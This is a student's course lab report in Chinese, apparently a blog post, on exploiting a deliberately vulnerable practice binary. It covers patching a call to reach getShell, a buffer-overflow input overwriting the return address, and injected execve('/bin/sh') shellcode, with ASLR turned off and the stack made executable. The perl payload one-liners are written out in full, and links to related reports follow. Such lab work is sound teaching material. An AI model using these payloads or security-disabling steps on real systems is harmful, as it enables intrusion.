实践涉及指令

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode.。

三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

    运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

实践过程 (以下所示图片都是实践过程中截图,故并无特别标识)

实践一:直接修改程序机器指令,改变程序执行流程

(1)通过objdump -d pwn1对文件进行反汇编,并获得需要的三个信息,如下图:



(2)通过上图可看出,想要直接调用getShell,则需要将main函数中指向foo的地址改变为指向getShell的地址,则通过计算确定修改项 d7,改为c3即可。修改方式和结果如下:



(3)运行结果如图所示:



注意在16进制文件中寻找e8d7时,应该逐条寻找,即看到e8 就应该观察不然会直接跳到文末无法找到对应值。

实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

(1)通过gdb调试,判断那几个字节覆盖到后面的指令。



由图可知,eip的值为ASCII 5,所以覆盖的字节在后8字节。

(2)确定构造字序。



由图可看出,覆盖顺序为4321。

(3)构造字符串:因为键盘无法输入16进制数,所以使用prel方法,将getShell的内存地址写入输入字符串中

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

实践三:注入Shellcode并执行(此步骤时出了一点问题,源文件夹不可用,所以换了一个文件夹)

(1)首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:

execstack -s pwn2016513    //设置堆栈可执行
execstack -q pwn2016513 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

(2)构造一个字符串:

~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

作为测试输入。

(3)输入

 (cat input_shellcode;cat) | ./pwn1

(4)打开另一个终端。

ps -ef | grep pwn

查询进程号,并使用attach命令调试(在gdb中)



(5)修改输入字符串:

由教程可知应该用

retaddr+nops+shellcode

方式注入

由上图可看出esp为oxffffd21c,则其下一个地址0xffffd220就是所需地址。

修改命令如下:

perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(6)运行

```(cat input_shellcode;cat)|./pwn20165313``

如下图:

实践中的问题:

E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源临时不可用)

E: 无法对管理目录(/var/lib/dpkg/)加锁,是不是另一个包管理程序在使用它?

解决方案:

sudo rm /var/cache/apt/archives/lock

sudo rm /var/lib/dpkg/lock

实践收获与感悟

本次实践我参考了 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md 和学长的报告来做的,初步了解了怎么去利用Bof漏洞,怎么简易地修改和注入shellcode等一系列相关知识。收获很大,但要学的还是很多。

实践问题回答:

什么是漏洞,漏洞的危害是什么?

百度百科:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

自我理解:在我看来,漏洞就相当于人的性格上的缺陷(或者可以说是缺乏理智的时候)一样,虽然平时不会被注意,但一旦被发现并加以利用,就有可能造成严重后果(比如贪财的大爷大妈被骗钱)。而漏洞一旦被人利用,计算机就会在我们不知道的情况下泄露我们的隐私或者需要的计算机资源被破坏,就想那些被骗子牵着鼻子走的受害人一样,在自我未察觉的情况下,蒙受了巨大的损失。

2018-2019-2 20165313《网络对抗技术》Exp1 缓冲区溢出实验的更多相关文章

  1. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  2. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  3. 2018-2019-2 20165212《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165212<网络对抗技术>Exp1  缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo ...

  4. 20155208徐子涵 《网络对抗技术》Web基础

    20155208徐子涵 <网络对抗技术>Web基础 实验要求 Web前端HTML Web前端javascipt Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密 ...

  5. 20145311 王亦徐 《网络对抗技术》 Web基础

    20145311 王亦徐 <网络对抗技术> Web基础 实验内容 简单的web前端页面(HTML.CSS等) 简单的web后台数据处理(PHP) Mysql数据库 一个简单的web登陆页面 ...

  6. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  8. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  9. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

随机推荐

  1. 记录配置xshell显示中文乱码的一次巧合

    linux系统设置了中文UTF8,xshell终端也设置了中文UTF8,但xshell仍然无法显示中文,于是想起可能是字体显示问题. 设置楷体字体后,虽然文字方向还有问题,但乱码显示的问题解决了,方向 ...

  2. Ceph Luminous版本创建OSD无法激活问题

    一.问题描述 部署ceph的Luminous之ceph-12.2.10版本,在其中一个集群节点部署OSD时,发现命令执行完毕后,集群中并没有将格式化的盘加入到OSD中,也没有任何报错,问题如下: [r ...

  3. ASP.NET MVC中,动态处理页面静态化

    首先解释一下什么是动态处理页面静态化 对于需要静态化的页面,第一次访问某个Action时,会先执行Action,并在页面渲染后向Response和服务器中网站的目录下都写入需要返回的html,而第二次 ...

  4. python基础13_zip_import

    继续内置函数,zip函数被比喻成拉链,将两边的齿对应起来. #!/usr/bin/env python # coding:utf-8 ## 比喻像个拉链,将两边对应起来. # 多出来的部分,不作处理. ...

  5. JavaScript中Ajax的用法

    XMLHttpRequest 对象的属性和方法: open(method,url,async) 规定请求的类型.URL 以及是否异步处理请求 send(string)   将请求发送到服务器. res ...

  6. 关于JDBC和连接池我学到的(转载保存)

    1.JDBC数据库连接池的必要性 在使用开发基于数据库的web程序时,传统的模式基本是按以下步骤: 在主程序(如servlet.beans)中建立数据库连接. 进行sql操作 断开数据库连接. 这种模 ...

  7. ES6 模板字符串Template String

    1. 模板字符串简介: 顾名思义,模板字符串是用来定义一个模板是使用的,就像Vue,React中的template语法. 首先,先来了解一下template string的基本用法: 在ES5中,我们 ...

  8. sql server 字符串根据指定分隔符进行分组

    SET QUOTED_IDENTIFIER ON SET ANSI_NULLS ON GO --功能:分拆字符串 --参数:@String:要分拆的字符串:@Delimiter:分割符号 --返回值: ...

  9. Knut重排算法

    /// <summary> /// 这是Knut重排算法的实现 /// </summary> /// <param name="number"> ...

  10. ios 传递JSON串过去 前面多了个等号

    先说下我的问题 后台让我这边把请求的参数弄成一个实体转化成 json 串放body里传给他,当然header也有设置,提前设置好了, 但是后来了解 所谓的把实体转成json串的本质就是先把实体用run ...